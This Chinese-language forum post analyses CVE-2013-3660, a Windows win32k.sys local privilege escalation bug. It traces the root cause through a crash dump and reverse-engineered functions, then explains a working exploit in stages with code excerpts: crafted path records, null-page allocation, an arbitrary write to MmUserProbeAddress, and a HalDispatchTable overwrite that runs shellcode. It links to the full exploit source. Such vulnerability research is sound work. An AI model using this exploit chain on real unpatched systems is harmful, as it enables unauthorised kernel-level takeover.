-
-
[原创] 更进一步:CVE-2013-3660漏洞分析报告与利用
-
发表于: 2026-2-18 14:26 1124
-
更进一步:CVE-2013-3660漏洞分析报告
今天要介绍的,是我研究的第一个Windows内核漏洞。由于Windows内核漏洞挖掘难度极高,相关资料又相当稀少,每一个漏洞对我来说都弥足珍贵。我希望通过深入剖析其技术细节,充分挖掘它的研究价值,为后续的挖掘工作打下扎实基础。
本次报告的标题定为《更进一步:CVE-2013-3660漏洞分析报告》。之所以称为“更进一步”,是因为这个漏洞最初参考了exploitCN的分析报告。在exploitCN前辈的研究基础上,我对关键函数做了更精确的逆向还原,优化了利用过程,并调整了代码风格,力求使整个分析更加清晰完整。为了深入理解并提高能力,所有代码我都从零开始重写,以确保其精准性。原文链接:exploitCN的看雪博客,https://bbs.kanxue.com/thread-271338-1.htm
让我们开始吧。
漏洞介绍
CVE-2013-3660是Google安全团队的研究人员Tavis Ormandy在对win32.sys进行内存压力测试时发现的。经分析,该漏洞位于win32k.sys模块中,是一个本地提权漏洞。Ormandy也因此项发现获得了Pwnie Awards 2013的最佳漏洞利用提名。
漏洞影响环境: Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012
POC
将附件中的POC在x64 Release下按shellcode编写环境的设置编译,丢在Windows 7 SP1的虚拟机中运行,触发蓝屏报错如下(无关信息省略):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | CONTEXT: fffff880036d0030 -- (.cxr 0xfffff880036d0030)rax=2323232031313130 rbx=fffff880036d0a70 rcx=fffff880036d0a70rdx=fffff900c020ac68 rsi=000000013f2b53c0 rdi=0000000000000020rip=fffff96000358517 rsp=fffff880036d0a10 rbp=fffff880036d0b60 r8=0000000000000000 r9=000000000000072f r10=0000000000000000r11=fffff880036d0948 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206win32k!EPATHOBJ::bFlatten+0x1f:fffff960`00358517 f6401010 test byte ptr [rax+10h],10h ds:002b:23232320`31313140=??Resetting default scopePROCESS_NAME: MyPoc.exeSTACK_TEXT: fffff880`036d0a10 fffff960`002f9044 : fffffa80`01c4c360 fffffa80`03f65221 00000000`00000000 00000000`00000000 : win32k!EPATHOBJ::bFlatten+0x1ffffff880`036d0a40 fffff800`03e888d3 : 00000000`0601092e 00000001`3f2853c0 00000001`3f3353c0 fffffa80`000007b9 : win32k!NtGdiFlattenPath+0x70fffff880`036d0ae0 000007fe`fd4f70da : 000007fe`fd5194bb 00000000`0020f6e8 00000001`3f2b53c0 00000000`0601092e : nt!KiSystemServiceCopyEnd+0x1300000000`0020f6a8 000007fe`fd5194bb : 00000000`0020f6e8 00000001`3f2b53c0 00000000`0601092e 00000001`3f2b53c0 : GDI32!NtGdiFlattenPath+0xa00000000`0020f6b0 00000001`3f23126e : 00000000`000007b9 00000000`00000000 00000001`3f2b53c0 00000000`0601092e : GDI32!FlattenPath+0x4b00000000`0020f6e0 00000000`000007b9 : 00000000`00000000 00000001`3f2b53c0 00000000`0601092e 00000ceb`00000001 : MyPoc!main+0x1fe SYMBOL_NAME: win32k!EPATHOBJ::bFlatten+1fMODULE_NAME: win32kIMAGE_NAME: win32k.sysIMAGE_VERSION: 6.1.7601.17514 |
可以看到:内核报错在win32k!EPATHOBJ::bFlatten+0x1f,是对无效地址的访问.
仔细看这个无效地址:0x2323232031313130和POC部分源码
1 2 3 4 5 | for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = '1111' >> 4; Points[PointNum].y = '2222'; PointTypes[PointNum] = PT_BEZIERTO;} |
是不是正好是我们的x和y分别右移四位拼接而成了的呢!@!
深入ida中观察:

根据报错信息,问题定位在 IDA 反汇编中的如下条件语句:if ( (i->flags & 0x10) != 0 )
这就能表明,我们在此处能够部分控制内核中的数据。可以使电脑蓝屏.
为什么能控制呢?
篇幅问题,这里只截图关键点,请读者自行打开ida,先基本了解struct _PATHRECORD *__fastcall EPATHOBJ::pprFlattenRec(EPATHOBJ *this, struct _PATHRECORD *pathRecordRes)_PATHRECORD *newpathalloc(void)
函数基本执行流程.
在EPATHOBJ::pprFlattenRec->EPATHOBJ::newpathrec->newpathalloc(void)调用链中

申请新的_PATHRECORD的时候,没有对申请出来的堆块清零
这是我们能劫持内核结构的基础
漏洞关键:(EPATHOBJ::pprFlattenRec函数)

这里如果申请失败了,返回0,后续就不会对指针进行初始化,再加上之前没有清零堆块.就能在内核中,指向一个用户控制的地址!!!
详细画图解释:
执行EPATHOBJ::pprFlattenRec后正常状态:

异常状态:
EXP
先导介绍:与用户态不同,内核空间由所有进程共享,环境更为复杂。因此,在利用漏洞时,首先需要设置一个干净的环境,这一点在漏洞利用代码(EXP)中也有所体现。因为我们不知道内核环境是什么样子,所以我们要先放入我们设置好的,自循环的PathRecord.因为我们不知道内核环境是什么样子,所以我们要设置看门狗线程检测环境.
思路介绍
漏洞让我们在内核中有一块可控空间,能干什么呢?
在EPATHOBJ::pprFlattenRec函数最开始:

p_next_1->prev->next = p_next_1;这里没有验证p_next_1->prev的合法性,导致了我们可以任意地址写一个p_next_1的地址值
这样,利用思路就有了:
我们先修改MmUserProbeAddress的值,再通过NtReadVirtualMemory进行内核任意地址写,将Shellcode Address写在HalDispatchTable中的HaliQuerySystemInformation项中
EXP代码讲解:
一阶段:
环境准备,内核环境控制:
1 2 3 4 5 6 7 8 9 10 11 | PathRecord = VirtualAlloc( 0x5c30000, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!PathRecord) return; // User Address memset(PathRecord, 0xCC, sizeof(PATHRECORD));PathRecord->next = PathRecord;PathRecord->prev = 0x42424242;PathRecord->flags = 0; |
多说无益,上图

这段代码是为了实现让EPATHOBJ::bFlatten函数卡死了for循环中(通过对next指针,flag的控制)
1 2 3 4 5 6 7 8 9 | for ( i = *(struct _PATHRECORD **)(v1 + 32); i; i = i->next ) { if ( (i->flags & 0x10) != 0 ) { i = EPATHOBJ::pprFlattenRec(this, i); if ( !i ) return 0; } } |
重难点讲解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | BOOL InitShellcode() { ShellcodeAddr = 1; // 这里是故意的,目的是申请一个0的页内存 SIZE_T allocSize = 0x1000; while (TRUE) { st = NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&ShellcodeAddr, 0, &allocSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (st != 0) { ShellcodeAddr += 0x1000; printf("ShellcodeAddr->0x%08X\n", ShellcodeAddr); printf("st != 0\n"); system("pause"); continue; } else { break; } } NtReadVirtualMemoryBuffer = malloc(ShellcodeAddr); if (!NtReadVirtualMemoryBuffer) { printf("[W] Can't Alloc NtReadVirtualMemoryBuffer"); return FALSE; } printf("ShellcodeAddr->0x%08X\n", ShellcodeAddr); system("pause"); memcpy(ShellcodeAddr, Shellcode, (SIZE_T)Shellcode_END - (SIZE_T)Shellcode); return TRUE;} |
在分析 exploitCN 前辈的漏洞利用代码时,我们发现提权操作能够完美执行,但由于申请了过大的堆块,导致后续的 ShellExecuteA 函数调用失败,无法弹出命令行窗口(这怎么能忍)。而弹出窗口是验证利用成功的重要标志,且堆块过大也会破坏内存状态,使许多 API 无法正常运行。
为了解决这个问题,我们需要保护堆的完整性。经测试,即使在利用过程中主动调用free或NtFreeVirtualMemory释放内存,也无法避免该问题。因此,必须申请一个极小的内存地址。查阅资料发现,早期Windows有漏洞可以让NtAllocateVirtualMemory函数将内存申请到地址0(方法如上)。经过实际测试,这种方式能够完美利用漏洞并成功弹出命令行窗口。
二阶段:
触发漏洞,修改MmUserProbeAddress的值

利用看门狗,在确定一阶段执行成功后(触发死循环)马上修改pathRecord->next的值,使其指向准备好的ExploitRecord的值.
因为
1 2 3 4 | ExpRecord->next = NULL;ExpRecord->prev = KernelMmUserProbeAddress;ExpRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH;ExpRecord->count = 4; |
所以会进入EPATHOBJ::pprFlattenRec函数中,完成修改MmUserProbeAddress的值
这里说一下:在本漏洞利用中,我们无需专门设置ExitRecord来保证正常退出。原因在于,即使将ExpRecord->next指向自定义的ExitRecord,整个退出过程依然充满不确定性。从下图所示的某次执行路径可以看出,内核环境的复杂性使得函数的返回方式难以预测。需要强调的是,刚刚的图片仅展示了其中一种可能的情况,实际情况可能因系统状态而异,因此刻意设置退出处理并无实际收益,反而可能引入新的问题。

三阶段:
在修改 MmUserProbeAddress 的值后,进入常规的内核提权流程:
首先利用 NtReadVirtualMemory 将 Shellcode 地址写入目标位置,
随后通过 NtQueryIntervalProfile 触发 Shellcode 执行,
最终在 Shellcode 中完成提权操作并恢复系统环境。
注:在HalDispatchTable写的值是NtSetEaFile,因为我们不知道HalDispatchTable的原值!所以写了一个普通的函数.
总结与展望
至此,CVE-2013-3660漏洞的分析与利用已完整呈现。回顾整个过程,从最初的漏洞原理剖析,到利用细节的反复打磨,再到堆分配策略的优化与退出机制的取舍,每一步都让我对Windows内核的运行机制有了更深的理解。
这个漏洞虽然距今已有十三年,但它的价值并未随时间褪色。通过对它的深入研究,我们得以窥见内核漏洞挖掘的冰山一角——那些隐藏在复杂代码路径中的细微瑕疵,如何在特定条件下被放大为完整的利用链。更重要的是,在这个过程中,我深刻体会到:内核利用不仅仅是技术堆砌,更是对系统行为的精准把控。从环境初始化到堆块分配,从函数调用到异常处理,任何一个细节的疏漏都可能导致利用失败。
站在 exploitCN 前辈的肩膀上,我完成了对漏洞的更精确还原,并解决了原利用中因堆块过大而无法弹出命令行窗口的问题。这不仅是对技术的打磨,也是对研究态度的锤炼——从零开始重写代码,不是为了标新立异,而是为了确保每一行代码都了然于心。
展望未来,Windows内核漏洞挖掘之路依然漫长。随着系统安全机制的不断演进,内核漏洞的门槛也在水涨船高。但正是这种挑战,才让每一次突破都弥足珍贵。我会继续深耕这一领域,挖掘更多有价值的漏洞,也希望通过这份报告,能吸引更多研究者加入内核安全的探索行列.
内核浩瀚,漏洞如星。愿我们都能在这片星空下,找到属于自己的那颗。
源码下载:Github,5d1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6m8e0K6l9K6x3g2)9J5c8V1E0W2M7X3&6W2L8q4)9J5k6q4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6s2W2Q4x3X3c8d9k6i4m8J5L8$3c8#2j5%4c8A6L8$3&6Q4x3V1k6@1M7X3g2W2i4K6u0r3L8h3q4K6N6r3g2J5